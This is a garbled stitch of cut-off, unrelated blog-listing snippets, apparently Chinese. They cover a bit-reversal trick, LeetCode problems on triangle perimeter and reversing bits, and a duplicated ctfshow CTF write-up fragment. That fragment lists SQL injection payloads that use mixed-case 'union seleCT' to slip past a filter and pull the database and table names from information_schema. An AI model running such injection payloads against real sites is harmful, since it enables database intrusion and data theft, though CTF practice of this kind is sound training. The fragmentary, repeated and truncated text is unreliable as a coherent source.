for 8 bit binary number abcdefgh, the process is as follow: abcdefgh -> efghabcd -> ghefcdab -> hgfedcba 非常牛逼的写法。。 转自: https://leetcode.com/problems/reverse-bits/discuss/54741/O(1)-bit-operatio
题目 Given an array A of positive lengths, return the largest perimeter of a triangle with non-zero area, formed from 3 of these lengths. If it is impossible to form any triangle of non-zero area, ret
186大小写绕过 1' order by 3--+ 发现union select被过滤,用大小写来绕过 1' union seleCT 1,2,database() --+1' union seleCT 1,2,table_name from information_schema.tables where table_schema='ctfshow_web' --+1
186大小写绕过 1' order by 3--+ 发现union select被过滤,用大小写来绕过 1' union seleCT 1,2,database() --+1' union seleCT 1,2,table_name from information_schema.tables where table_schema='ctfshow_web' --+1
190. Reverse Bits Reverse bits of a given 32 bits unsigned integer. Note: Note that in some languages, such as Java, there is no unsigned integer type. In this case, both input and output will be g